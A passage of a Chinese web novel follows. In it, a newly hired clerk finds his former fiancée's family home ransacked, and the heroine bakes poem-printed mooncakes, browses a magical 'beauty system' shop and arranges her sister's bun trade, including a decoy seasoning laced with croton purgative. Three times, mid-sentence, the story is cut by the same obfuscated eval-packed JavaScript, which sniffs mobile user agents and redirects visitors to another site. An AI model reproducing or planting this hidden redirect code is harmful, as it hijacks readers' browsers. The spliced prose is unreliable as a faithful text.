她三分相似的木偶，甜蜜一笑，今日在使馆里吃的气也飞走了。 得了文书的胡光骏，瘸着腿去找胡家二老要钱置办行头上班。 “我之前就说有门路去衙门里上班，如今文书都弄回来了，你们信了吧！” “我不管，要给我买一辆马车，做两身新绸衣，不然，衙门里的同僚，如何看我？” 胡母捧着文书，好似在做梦一般。 前日吃酒，被娘家嫂嫂奚落家里全是酒囊饭袋，一夜之间，小儿子就吃上了官家饭，实在 扬眉吐气。 胡母拍板：“买，必须买，我和你爹，这就去马市，给你挑马车去。”她浑身洋溢着欢喜：“你先去衙门里，领取公服，等买回马车，我们去你舅舅家，告诉他们这个好消息，也让他们欢喜欢喜。” 胡光骏赖着不肯走：“我去衙门，不得请同僚们吃饭交际啊？” 胡父皱眉：“家里开着饭馆，你叫他们来家吃，省钱！” 胡母给了他一肘，“瞎说，那都是当官的，必须得去大酒楼交际。”打开钱匣，大气的掏出一锭银子，约莫五两递给他：“你好好干，早日升职，到时候把你两个哥哥也弄到衙门去当差。” 胡光骏捧着钱，一刻也不能忍，先去衙门里报道，衙门里吏房录事，对于他的入职，见怪不怪，让他签写了文书后，分配了一套蓝色公服给他：“当差后穿，每日辰正画押，莫迟到了！” 胡光骏握着书记员的腰牌，喜滋滋和同僚们套起近乎。 待他走了，录事烦恼的把文书往书桌上一扔，抱怨：“高家越发明目张胆了，不年不节的，弄些人进来，当衙门是他家的啊！” 旁边人劝他：“你小声些，那是上头的事，和我们无关，你莫要被人听了去！” 两人苦笑一声，埋头做事。 胡光骏得偿所愿，终于迈进官场第一步，他好似看到自己手执笏板指尖江山的那一天，富贵不还乡，如锦衣夜行，这样激动人心的时刻，必须去看看他的小美人儿。 他深刻知道这身官服的由来。 先去药店，花费一两银子，购置上好的金疮药，选了一个最漂亮的小瓷瓶装好，用丝线扎上漂亮的蝴蝶结，配一张写满他情谊关怀的薛涛笺，装入锦盒，绕道高家后门，托看门的婆子送进去。 待天黑后，他穿上公服，外面套上常服，驾着买回来的新马车，随后在路边买了包点心，意气风发往城外苏家村去。 一路上，他心猿意马，这些日子陪伴在高小姐旁边，冷落了他的小美人儿，等见到美人儿，他势必好好疼惜她一番。嘿嘿，等美人儿扒掉他的常服，看见公服，必然喜极而泣。 到了苏家村，他把马车停在苏家门前，故意轻踢了一脚马屁股，马儿恼怒的打了响鼻，弄出巨大的声响，他昂着头等了一会，没人出来迎接，胡光骏有些意外，跳下马车，走到门前敲门，发现苏家，竟然锁着门。 25. 第 25 章 胡光骏疑惑，难道苏家全家，出门走亲戚去了？ 他缩回马车等了半天，没看到人回来，失望的驾着马车回城。 次日傍晚下值，他弄了一盆花送去高家后，再次匆匆赶到苏家村，苏家依旧铁锁把门。 好家伙，苏家昧下他的银子，跑了！ 他气急败坏乱甩鞭子，祸害了路边一片野草，忽而觉得不对，他给了苏老头十八两银子而已，苏家在苏家村四十多亩的良田，不可能为了这么点银子，抛家舍业。 他心下有种不好的预感，左右张望了一下，没看到人，驾车绕到旁边的矮墙，踩着马车攀上墙头，跳了进去。 站稳脚，他被眼前的景象惊呆了。 上房中门大开，里头好似强风过境，被翻得乱七八糟，被褥衣裳仍得满地，柜子箱笼空荡荡的，凌乱不堪，不见值钱的物件，更不见一个人影。 直娘贼，苏家遭强盗了，他心口好似被锥子扎了一般，疼得他天旋地转，他的阿宁！ 胡光骏捂着心口，踉跄脚步奔到西厢房。 西厢房同样翻得乱七八糟，比起上房，有过之而无不及，如蝗虫过境，日常水杯，被褥，铺盖衣裳，一概不见。 他疑惑了，这是怎么回事？强盗绑了阿宁，看她长得俏，所以优待她，允她带着被褥衣衫？ 他整个人更不好了，还不如给阿宁一个痛快呢。 胡光骏有心去报官，奔了几步停下来，他以什么身份去报官？若是监判盘问他如何发现的，他怎么答？ 若是让高明珠知晓了他和苏家的牵扯，必定和他一刀两断，弃他如敝履，他苦苦谋划的前程，终成泡影。 他忍着满心的悲痛，最后深深看一眼西厢房。 上辈子陪着阿宁回来过许多次的西厢房，里头承载了他们曾经无数的苦甜酸辣。 他毅然转身，翻墙驾着马车回城，他去找周鑫，提醒他回苏家村，只要他回苏家，定能发现苏家的异样，报官找回苏宁一家。 回到家附近，他跳下马车牵着马步行进街，强忍悲痛，面上一副得意开心的模样，果然勾得周家粮铺门口，韦婆子的搭话。 她羡慕打探：“胡家三小子，这是你家新买的马车么？花老多钱了吧？” 韦婆子今日在门口支了个小茶炉卖肉馒头，多赚了四十八文，本来挺开心的，对比邻居重金买马车，脸上的笑瞬间被嫉妒冲碎成渣。 胡光骏牵着马站到她面前，谦虚道：“嗨，我去衙门上值，阿娘阿爹心疼我路远，买了一架马车给我代步，平时家里也能拉粮食肉菜的，不贵，连着车厢花了五十一贯。 韦大娘，你要坐一坐不，把周鑫哥和苏悦姐，巧儿都叫来，我驾车带着你们转一圈？” 韦婆子听完，酸溜溜走上前，摸了摸马屁股，叹气道：“还是你孝顺，多谢你，车下次再坐，我得收拾铺子呢！” 她难得大方的揭开蒸笼，用手捡了一个最小的炊饼，装在荷叶里递给他：“送你一个肉馒头吃，我今儿卖了九十多个，老好吃了！” 为了省柴火，她只加热到温温的，一点不烫手。 天擦黑，大家伙都家去了，估计卖不掉，一百个还剩四个，她吃不完。 胡光骏垂眸扫一眼她摸了马屁股，再去拿白面肉馒头的手，都这样，还能卖完九十几个，味道想来错不了。 味道不错，他也吃不下去。 他眼底闪过嫌弃，连声拒绝，韦婆子很是客气，要来拉扯他，他担心自己新做的衣服，被抹上油渍，连忙接过荷叶，后退几步接连道谢。 胡光骏耐着性子，再次把话题扯回来：“哦，怎么是你收拾铺子，多累啊，周鑫哥和苏悦姐呢？” 韦婆子：“可不是累得慌，搬半袋粮，把我的腰疼的！哎哟，可累死我了！” 胡光骏：“……” 他袖摆中的手握得咯吱响，深深吸口气。 算了，明早再来吧，再说下去，韦婆子得把他拉进去搬粮，他担心忍不住肚中滚沸的悲痛恼怒，给她一大脚。 回到家，他把荷叶包往桌子上一扔，躲回自己屋子，瘫在床上，任由思绪纷飞，回想前世和阿宁的点点滴滴。 & 苏悦做惯饭菜的，上手后，能帮着一起调馅料，包包子，娘三个，一夜足足做二千个破酥包，考虑到品种的全面，同时做了一百苏子包，一百白玉盘米糕，一百灰面炊饼。 除了周鑫批发一百个，南城，北城有两家炊饼铺子慕名而来，各批发三百个，还有那日豁牙的老大爷，领了侄儿媳妇来，批发到城外榆树镇上卖，预定每日三百个。 一整日净利润达2800文，加上之前的4000文，她们现在已经有6800文了。 因姜宁要招待来批发的几个大客，姜氏把苏慎召起来，跟着她去书院外摆摊，苏悦在家带孩子，几人忙得团团转。 等待客人来的时候，姜宁也没闲着，鼓捣新吃食——上上签月饼！ 其实是上上签桃酥。 姜宁买了一斤核桃，细心祛除里头褐色桃衣后，放在铁锅里小火焖干水分，铲起来放凉，装入干净的布袋子，用擀面杖敲碎成粉。 和面比较麻烦，需要低筋面粉，所以买了一些绿豆粉兑在一起。 还要重油重盐。 用大陶碗装熬好的雪白猪油六斤，放在热水中隔水化开，倒入木盆里，用一把筷子，分散开模仿打蛋器，不停在猪油中顺时针搅打至顺滑蓬松，体积膨胀，出现明显的纹路，分次加入十个鸡蛋液，三斤白砂糖，不停搅打，直到完全乳化，看不到干粉。 面粉十斤，小苏打一两，筛细后混在猪油糊里，混成面团，采用切拌面的方法，将粉类和油糊混合均匀，直到看不见干粉为止，这一步不能按揉面团，不然，面团会产生筋性，影响口感。 面糊做好后，均匀撒入核桃粉拌匀。 将翻拌好的面团分成约莫三钱一个的小面剂子，放在模板中，做成一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031251|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约拇指宽，长约半寸的长方形小片，整齐码放在擦洗干净的锄头上。 说起锄头，姜宁废了老鼻子劲。 一开始去请铁匠打一个类似于烤盘的铁盘，定制要价忒高，竟然要三两银子，做出来不得亏本。 她琢磨许久，翻遍原主记忆，记起胡光骏教她认字时介绍过，现在的印书用的是活字印刷术，书坊用一块平整的铁板，融化药蜡后，压平印字，又快又方便。 她试探着去几家书坊问了一下，确实寻到一块报废变形的铁板，大小约莫一张书桌，要价依然很贵，五百文。 她立马扭身离开，回到铁匠那里，最后买了五把没用过还未装木柄的新锄头，讲价后一百文。 她找魏婆婆讨了院子里不要的，肚子上破洞的大水缸，在缸底敲个小洞，在后院找了一个偏僻的角落，用砖头搭建好可以平放锄头的架子，然后倒扣上大水缸，再和泥厚厚糊在水缸外面，做成一个简易烤炉，已经空烧实验过几次，里头温度约莫能到两百多度。 今日正式开烤，准备好坯料后，先架柴在缸里空烧，等里头温度起来后，撤走柴火，快速用火钳把码放了生坯的锄头放进去，盖好洞口，和出风口，用洞里的余温把饼坯焖熟，约莫半刻钟后，夹出锄头，这个时候饼已经定型，在每个饼上，摆好事前请木匠刻好字的小木片，刷一层芝麻糊，取走木片，上头留下黑色字迹，再次放回炉洞，利用余温把芝麻糊烘干，最后退出来，把饼自然放凉。 第一次取出饼坯的时候，酥饼特有的浓香飘荡在空中，把前院小学堂的孩子们都引了过来，等看见上面还有字，大家嚷嚷着要把字吃到肚子里去。 姜宁笑嘻嘻捡了两只烤碎了的酥饼，掰成均匀的二十片，每个小朋友发了一片，问：“好吃吗？” 大家伙嚷嚷着好吃，还想吃。 姜宁哄道：“这是我新做的上上签月饼，专门为中秋节准备的，剩下的要留着中秋节和爹娘爷奶一起吃，上头有你们学会了的诗，大家吃到肚子里去，以后就不会忘记啦！” “做这个月饼，我买了好些好些糖，放了好些好些鸡蛋，所以大家想带回家的话，记得要让爹娘用铜钱换哦！” 明日便是小学堂的最后一天，再三天便是中秋节，姜氏已经订了中秋节后第二天的大车，到时候跟着大车回花城，趁着这几天，教了小朋友们背了这么些天的诗，该是收获的时候啦。 当然，小学堂的小朋友只是她的第一波顾客，更多的是，西云书院的学子，先生，让他们看见这样印字新奇的月饼，她相信，他们一定舍不得走的。 姜宁忙着不停的控制火候，做上上签月饼，偏偏死了许久的系统出来捣乱，不停的吵闹播报。 收获心值一百个…… 收获心值一个…… 收获心值一个 …… 消耗心值十个，成功开启面板，请查看…… 消耗心值十个，成功开启商城，请查看…… 26. 第 26 章 姜宁耳边是系统冰冷的电子播报音，她本能想查看，炉子里烤着上上签月饼，正是火候关键的时刻，以系统一贯高高在上不搭理人的毛病，她轻嗤一下，左右系统跑不掉，收回心神，仔细嗅着味道感受月饼的变化，争取最佳火候。 她一炉子一炉子的烤，直到所有的生坯考完，看着出租屋桌子上排放得整整齐齐的长方形月饼，好似看到了无数的铜钱在对着她招手。 数了数，一排摆了一百个，共七排，约莫600个左右，还有碎掉的，五十多个，糊掉的五十多个。 没有标准的温度计，全靠她经验来判断，太考验人了。 该怎么定价呢？ 她掏出纸笔算账，面粉十文一公斤，一百文，核桃二十文一公斤，猪油自己熬的，约莫五十文一公斤计300文，最贵的是白砂糖，抢人一般，竟然要八十文一公斤，仅叶城最大的高氏杂货铺出卖，黑芝麻30文一公斤，用掉三分之一。 等她以后开了铺子，一定要卖白砂糖，把价格打下来。 烤饼，比较费柴，用了整整一胆，50文，这些就去掉730文，锄头100文，请木匠雕刻印字模板，做竹筒，200文，算到这，姜宁倒吸一口凉气，已经用了一千文，大一两不见了。 上上签用的是酥饼的做法，三两天不影响口感，时间一长，回软不好吃，必须用专用的点心油纸包扎，100文一叠，裁好的小正方形纸片，约莫能包200包，另外请木匠做的竹筒，尚未取货，尾款200文，这些都是成本啊，600个成品，物料成本已经1500文。 她筹划了好几天，磨着魏婆婆要破水缸，哄着小学堂的孩子们帮忙糊泥巴做炉子，今儿整整忙了一天，才把这个做出来，至少得赚一倍才合理。 不行不行，点心铺子里卖月饼的，甜味十文一个，肉味是十五一个，她的月饼没心，但印了字在上面，针对的是识字的中产阶级客户，必须十文一个，价低了人家嫌弃没面子。 等以后攒了钱，请泥匠来砌一个专业的烤炉，再找铁匠定制专业烤盘模具，做有心的上上签月饼，换成雕花礼盒，卖它三十文一个。 姜宁一面展望未来，一面刷刷刷算完账，收好本子，用做蚊帐剩余的布料搭了个架子，罩在桌子上等月饼自然变凉，关了门窗，到灶房内和苏悦一起做夕食。 用过夕食，送走孩子们，魏婆婆在灶房里找到姜宁商量：“我琢磨着家里空着，等中秋节过了，继续开小学堂。你觉得怎么样？” 姜宁笑道：“很好啊，婆婆，你们家这么大的院子，空着着实可惜。” 魏婆子惊喜：“那你们同意留下来啦，我以后不要你们的房租，像之前那样，赚了学费平半分？灶房你们也随便用。” 姜氏失笑：“魏大娘，呸，还是叫你魏大姐吧，叫你魏大娘，平白把你叫老了。我已经订好大车，和苏悦过了中秋节就回我娘家去，这些日子多谢你的收留，你想办小学堂就办，不用管我们。” 魏婆子看像姜宁，沮丧道：“没了你做饭的手艺，小学堂的孩子们不愿意吃饭，没有你教孩子们背诗唱歌玩儿，家长不会来报名的。” 姜宁郑重道：“婆婆，你莫要妄自菲薄，明明是你人品贵重，街坊们看在眼里，相信你，放心你，所以把孩子送来给你带。 你不擅长做饭，但你人脉广啊，若想办下去，雇个可靠的厨娘专门做饭，再请一个识字的女先生来教孩子们，你总掌全局，魏婆子小小小学堂，一定能办得和西云书院一样大。” 魏婆子平凡了半辈子，辛辛苦苦养大独子，心疼儿媳，偏偏儿媳十分苦命，生孩子难产走了，儿子为了生计，到处奔波，她兢兢业业带孙子，起早贪黑种菜，从不和邻居吵架，从不占人便宜，自己种了菜到处分享，每一日践行着勤劳可靠这四个字。 大家习惯了她的勤劳，只有这个十六岁的小姑娘，和她相处一个月，会悄摸摸一起帮她种菜浇水，会偷偷塞个热乎破酥包到她手中，会撒娇卖萌磨着她讨要坏了的水缸，她觉得日子鲜活热闹有盼头起来，今日，这个小姑娘还诚恳的夸她人品贵重。 魏婆子眼眶润润的，她不过一个普通平凡的小老太婆，被夸贵重，实在言过其实了，不过很感动就是了。 心底升起一股信念，她可以自己赚钱，可以不靠儿子过活。嗯，她决定继续把小学堂办起来。 魏婆子收拢好情绪，恢复往日的平和能干，掏出六十文放在桌子上：“明日劳烦把白玉盘米糕留二十个在家，给孩子们带回速和家人一起分享，算是送给他们中秋的礼物，二来希望他们记着我们小学堂的好，继续来我小学堂学习。” 安排好明日散学的事宜，魏婆子抱着小板栗回了自己屋子。 姜氏看着苏悦：“阿悦，你想好了么，是跟我们回去叶城你外婆家，还是回周家？” 苏悦咬着唇，半响小声道：“阿娘，我，我想留着这儿。”继续租在魏婆子家，不去叶城，也不回去周家。 这几日，没有韦婆子的掺和，她觉得周鑫表现不错，会心疼人，心疼女儿。她要是走了，女儿怎么办呢？ 好似早有预料，姜氏板着脸道：“可以，我还可以同意你，继续做破酥包贩卖，但是，”她顿了顿，严肃道：“破酥包是你妹妹配出的方子，赚的钱，你掌管好，做清账本，交一半的利润给你妹妹，存到钱庄里，我半年回来取一次。” 阿娘同意她用破酥包赚钱，苏悦愣了一下，连忙点头应是。 姜氏继续交代：“这事，你和周鑫商量一下，若是他同意，到衙门立个字据。你把他喊来，我和他说，记住，莫要让他知晓，你已经会做破酥包。” 苏悦不解，一家人的事，还要去衙门立什么字据？凭白多花几个文书钱。 姜氏恼大女儿心眼实，愣眼喝道：“你莫要问那么多，只管照着我说的做。” 她说完苏悦家的事，又吩咐道：“我带着你妹妹弟弟偷跑出来，你阿奶阿爷，肯定气坏了，中秋节本来应该回去送节礼，你莫要去了，免得被审问漏了馅，我已和陈婆婆说好，帮我留了两匹新到的绢布，等我们走后，你取了送回去，替我们赔罪，顺便告诉他们一声，我们回你外婆家去，免得他们记挂。 等到了叶城安顿好，我会请人带信回来。” 理清几项事，姜氏领着苏悦苏慎去木匠家取竹筒，姜宁躲在灶房里查看系统。 她呼喊系统，眼前立刻升起一片灰亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036007|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏幕，有点类似于电脑屏幕大小，标题是欢迎进入美颜系统，下头写着 账号：蓝星姜宁，心值82，契约人一号：胡光骏 第一页：美颜商场 陈列商品有： 第一栏：乌发剂10，黑眉粉10，嫩肤水10，美白露10，唇粉膏10…… 第二栏：丰胸乳50，细腰丸50，长腿散50，补脑剂50，大眼果50，翘臀霜50…… 第三栏：多子丹100（暗色），聪慧药100（暗色），名目水100（暗色）…… …… 注：上述药品，服用后有效期一个月，过期恢复原本水平，支持一时辰无理由退换货，退换货收九成手续费，请宿主下单前考虑清楚。 第二页，第三页一团灰色，看不清是什么。 她试探着点了下乌发剂，立马跳出一个大图。 是一个灰色的瓷瓶，上头有好看的花纹，旁边文字说明： 无论你是沮丧的少年白，还是叛逆的马杀特绿，用了乌发剂洗发后，你的秀发能立刻变得乌黑靓丽飘逸有光泽，保持一个月。 副作用：本品深层滋补头发，改变头发内部结构，若到期不续用，头发缺少营养而自然脱落，当然，你不用担心，头皮会长出新的头发，你会恢复使用前的状态。 她关闭乌发剂页面，重新点开丰胸乳。 跳出个女子穿着吊带半身图，胸膛好似网页游戏上的比例失调，她皱着眉看完文字说明：本品外用于皮肤，涂抹后，补充细胞营养，刺激乳腺细胞生长，让你连跳三级，从a到d，从b到e。 副作用：有效期一个月，若停用本产品，生长的细胞会萎缩沉眠，你会收获一个后背般宽阔的胸怀。 她又点开多子丹，跳出一行字：对不起，你心值不足，不能查看，请加油让契约人心疼，收集更多心值或者充值。 她回到最上面，点一下心值82点，出来一个表格： 明细列表： 1点来源人胡光骏， 1点来源胡光骏， -1点接收系统 -1点系统节能 100点来源胡光骏 1点来源胡光骏 1点来源胡光骏 -10点系统启动 -10点商场启动 最下面：一两银兑换一心点，请输入要兑换的银两数______，不用请点返回 明白了，是个卖货系统，除了让契约人心疼攒心值，还可以氪金。 说它粗陋吧，它凭空出现在脑袋里，还挺神奇，说它高级吧，它是灰色的，看着像淘汰落后的电视机，卖的东西也挺新奇，鸡肋。 姜宁在心中吐槽了几句 她视线落在最上头，为什么是“契约人一号：胡光骏”，姜宁皱眉思索半天，恍然大悟，胡光骏还没有还她的庚帖，所以是她名誉上的丈夫，契约人。 一号的意思是，她可以发展契约人二？ 啧，系统考虑到，只有一个契约人，要她收获那么多心值，万一契约人疼死了怎么办？这系统鼓励她多弄几个契约人，就是多弄几个丈夫？ 哟，这个系统这么前卫？ 27. 第 27 章 姜氏几人推着车回来，上面堆满了宽容一个成人拳头，深约半寸的竹筒，木匠按姜宁的要求，把竹筒切割打磨得平整光滑，上面刻了签筒二字，旁边寥寥雕刻了几笔形成兰花，或者啃毛线团猫咪，或打滚的小胖狗，别有一番野趣。 苏慎欢喜的抱着爱不释手，左手一只猫咪的，右手一只小狗，摸摸猫咪，舍不得小狗，把小拳头塞进去掏出来：“哈，这个竹筒用来装我的鸡蛋，再合适不过！” 他委屈为自家小鸡发声：“为什么不让木匠做一个小鸡的呢？” 姜宁摸摸鼻子，打哈哈：“下次，下次一定让木匠给你做！” 姜氏把他扒拉到一边：“别闹，做正事呢！” 疑惑不已，扭头看向姜宁：“装点心要么用油纸，要么盒子，这个圆咕噜的竹筒，如何装？” 姜宁笑道：“你们看我弄一次便会了！” 每人抱着十多个竹筒，往后院走。 一打开门，姜宁面色大变，她放在上上签月饼上头挡苍蝇的蚊帐架子塌了。 她三两步走进桌子，小心揭开蚊帐，还好还好，只是压碎了六块，行吧，又浪费掉十五文。 奇怪，记得有支撑得稳稳当当的，怎么会塌掉呢？ 难道是风吹的，扭头看向被她关着的窗子，果然开了条缝。 关好窗子，她指着一桌子的长条形月饼解释：“你们看，我总共从书坊里抄了十句诗词，请木匠雕刻出模板后，用芝麻糊刷在上面，勉强认得清楚字形，我们现在要做的，便是小心用油纸把它包起来，然后竖着放到签筒里，再用一张油纸缠绕在签筒口上，绑上一根红线扎紧，就可以啦！” 说着，示范了一个：“选取的时候，选上头诗词不同的，莫要选重了，诺，像这样，三个叠放在一起，然后卷起油纸，抹点面糊，整理成个长条包裹，轻轻的竖着放到竹筒里！手一定要轻，很酥脆的，手稍微重一点，就碎了！” 这个是个精细活，姜氏弄了一个，她手上天生力气大，碎成了渣。 出乎意料，苏慎人小手巧，包得又好又快，等包好点数，总共碎掉二十四个，得，这些留着自己慢慢吃吧。 再轻手轻脚把这些竹筒放到柜子里锁起来，主要是担心夜里睡着了，老鼠来偷。 姜氏抱怨：“说起老鼠，实在可恨，今晨卖包子，掉了个在地上，沾了些灰尘，我捡起来放在卖完包子的空篮子里，想着带回来外皮撕掉喂鸡，里头好好的，完全可以我吃嘛，转眼的功夫便被老鼠拖走了，实在太猖狂了！” 收拾好，姜宁捡了十个碎得没有那么彻底的，凑成一小碗，捡了一个竹筒，送去前院给魏婆子，魏婆子喜不自胜，一点不嫌弃，第一炉出锅的时候，她尝过一点，那个甜香味，让人着迷。 她知道这东西价格贵，没开口要，打算姜家正式卖的时候，她买上几块，不料姜宁主动送了过来。 姜宁解释：“魏婆婆，这是装月饼的配套竹筒，我没装饼，直接带过来了，可以给小板栗当水杯，或者收拾些针头线脑的小东西，都挺好。” 魏婆婆接过竹筒，摸着上头光滑的边缘，盯着上头活灵活现的小胖狗，舍不得撒手，不住嘴的夸姜宁心灵手巧，“做得真好，我明日叫上几个老姐妹，去西云书院门口，给你们捧场去。” “那就先谢谢您了！” 快入睡的时候，周鑫过来送明早的包子钱，顺便和媳妇女儿亲香亲香。 苏悦和他说了姜氏的意思，周鑫带着苏悦找到姜氏和姜宁，诚恳鞠了一躬：“我知道你们愿意教苏悦做包子，是为了让她不受委屈，岳母请放心，我一定好好护着苏悦，巧儿，不让她们吃气受苦。” 姜氏招招手，姜宁捧来一个小罐子，姜氏盯着他道：“不是白教，我有要求的。” “第一，不能在你家做，你家开粮铺，客来客往的，配方被人学走不美，所以必须重新租个房子，至少要两间屋子，一间歇息，以便凌晨起来做包子，一间安置灶台。 我看魏婆婆家挺好，后院宽阔，在角落里搭起个棚子做灶台，若是你们觉得合适，我帮你去和魏婆婆说。 若不合适，你自己重新去租一间。 第二，除去成本的利润，我们家要分一半，一半给苏悦，若是愿意，我们去衙门画押，诺，我让姜宁调好半年的秘料，调制肉馅的时候，放进去，便是我们家做的味道，若你觉得不合适，那便算了，我们重新找人。” 苏悦疑惑抬眼，之前没看见妹妹弄啥秘料啊？ 她还未张口询问，被姜宁在后面悄悄掐了一下，她眨眨眼，复垂下头。 听阿娘和妹妹的，不会错。 周鑫看了一眼岳母，见她面上带着笑，眼底全是坚决，知道没有转圜的余地，点头道：“我这就回去和母亲商量，去西云书院附近，重新租个合适的铺面，正好兼顾那边的生意，免得每日推车来往奔波。” 送走周鑫，苏悦问出心中的疑惑：“妹妹明明所有步骤都交给我了，这个秘料是做什么的？放了味道能变得更好吗？” 姜氏白她一眼：“你呀！ 你那个婆母是个不省油的灯，你又放不下周鑫离开，我和你妹妹冥思苦想，弄了这个法子。 以后你住在新租的铺子里，你那一份钱自己留着和巧儿一起花，每十天找陈婆婆买三尺瑕疵布料，弄点便宜点心，大张旗鼓送过去给你婆婆，让街坊知道你的孝心。 平时在铺子里专心做包子，卖包子。入口的东西一定要干净，原料要过关，明日得空了，我带你去把原料重新买一遍，以后你照着做，等周鑫把铺子定下来，我告诉屠户把肉直接送过去。” 姜氏言语里溢满了担忧，大女儿性子软趴趴的，以后离得远，不能替她出头，幸好是个会听话的，她掰开揉碎了一条一条教导：“你要自己撑起来，好好抚养巧儿。 第一，赚到的钱存到钱庄去，必须花在巧儿和你自己身上，若魏婆婆家办起小学堂，你把巧儿送来继续学习。 钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040896|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财不准给周鑫，更不准给你婆婆。 第二，万一她们逼迫你要配方，你就推到我们身上，说我们配好了的秘料，你只管做，不知道配方。 做得逼真些，这个罐子锁在柜子里，莫要让人摸到，你每日开锁抓一小把，洒到马桶里，但是要让人以为，你放到了肉馅里。 第三，要是周鑫要你用周家粮铺的粮食，可以，必须和之前买的一样好，宁愿花高价买好的，不能买质量差的，特别是面粉，一定要今天收下的精白面，莫要糊弄食客，只要一次，信誉垮了，客人就走光咯。” 姜氏怕她记不住，一条一条让她复述出来，说的时候稍微结巴，无情一巴掌拍在她肩头上。 过后，姜氏有些担忧问姜宁：“你那罐子里是什么，别是毒药吧？” 姜宁笑道：“我哪来的毒药，剩下些绿豆粉，我调了些巴豆粉，吃了最多恶心拉肚子，吃不死人的！” 姜氏双手击打在一起叫好：“你这主意很好，用破酥包的利润把她们隔开，让你姐自己当自己家，免得受那死老太婆的气，弄了个假密料，既为你姐挡住了逼迫，也防了韦婆子的贪心，要是她老实便罢，不老实的话，有苦头叫她吃。” & 次日，姜宁推着装破酥包的车，姜氏用背篓背着码放整齐的竹筒，早早的到了书院门口摆摊，苏悦在家等批发的几户人家来取订购的破酥包。 到了西云书院路口，姜宁停下车，把带来桌子摆在路边，上头铺上干净的白布，掏出个兰花竹签筒，插上一把从菜园子里割的，带着露水的翠绿叶子黄色冲菜花，小摊子瞬间鲜活起来，成了这匆忙街道上，唯一的彩色。 早有人围了过来，见她一个个从背篓起小心翼翼掏出黄绿色的签筒，整齐摆放在在摊位中间，哄笑道：“哟，你家今日不卖破酥包，改算命了啊？” 姜宁笑道：“破酥包在旁边我娘的车上呢，才从蒸笼里起的，又烫又鲜，大家伙先走一个，一边吃，一边看我的月饼摊子！” 她轻手轻脚摆好竹筒后，当着大家伙的面，随后取了个兰花竹筒，扯开上头的红线，揭开顶上的油纸，解释：“这是我家的中秋月饼，这一步叫红运当头！” 然后她小心把里层的油纸拆开，平铺三块月饼。 淡黄色的长条饼，表面有烤出来的自然小裂纹，看着就觉得脆，标新立异了些。 呵呵，月饼月饼，当然要团圆啊，不圆如何叫做月饼。 围观的人嘘了一声：“你家月饼，不过是长方形的饼，没什么稀奇的啊？” 姜宁笑笑不答话，把月饼直立放在签筒里，举起签筒：“谁来抽一只签？” 围观了一圈的人，不晓得她后面要卖什么关子，担心出丑，往后躲，最后是小胖子嗅着甜香，流着口水，跳出人群：“我来，我来！” 他抽出一根，闻着诱人的甜香，幸福的闭上眼，张大嘴巴，就要往嘴里塞，人群里一个嗓音，激动得变了声调：“住嘴住嘴，嘴下留饼！” 28. 第 28 章 “住嘴，冯锦程！” 大胖听到熟悉的呵斥，吓得一个激灵，立正挺胸抬头站好，由一个贪吃小胖狗，变成正襟危站小学生，看着人模狗样。 他寻到声音的来源，低眉顺眼弯腰恭谨请安：“夫子好！” 人群中走出一个颌下蓄着美须的中年男子，示意他看手中的饼：“你莫只记挂吃，你读读上头写的是哪样？” 小胖子哦了一声，尚未变声的清亮嗓音读出来：“千里共婵娟！” 夫子喃喃复述一遍：“千里共婵娟！”激动的击掌。 “好！隔着千公万里，一起看着天上的明月，此刻，我们的心是在一起的，好豁达旷远的视野。好句！上一句是什么？” 他紧紧盯着小胖子，继续追问。 小胖子没了平时的机灵，好似被吓住了，愣了一下，摇摇头，然后他双手平举，把签条捧送到夫子面前。 夫子扫了一眼，长条形淡黄色的饼上，只印了这一句。他把疑惑的目光看向一旁但笑不语的姜宁。 姜宁愣了一下，道：“确实有上一句，上一句是但愿人长久。” “但愿人长久，千里共婵娟！”只要家人平安健康，我们一起赏月，在不在一起，有什么关系呢？ 夫子想起相隔百里的妻儿老小，一时情难自禁，几乎哽咽。 “作者是谁？其他句呢？” 姜宁拱手解释：“小时在师尊旁侍奉了几日，他老人家念叨过，说是一个叫苏轼的文人写的，我背的时候深感亲切温暖，便印在了月饼上。 一来，让街坊们尝尝我家的月饼，二来祝愿每一位客人长长久久，平平安安，三来，让所有人一起感受这份豁达温暖。 今早没带纸笔来，先生若是想知道，不如等我忙完，晚上回去默了，明日带来给先生过目？” 夫子听了，顿时赧然，是他着相了。 明白她的意思，人家靠这个谋生，当众多告诉他一句，已是胸襟开阔，他如何能得陇望蜀！ 他失态追问，这小子没有拿乔，三言两语道明原因，愿意默写给他，小小年纪，这份大气胸襟，实在让人佩服。 夫子点点头，嘴角微微上翘：“好，我明日在此等你。这样好的月饼，我不能一人独享，来，我要十盒，带进去和同僚分享。” 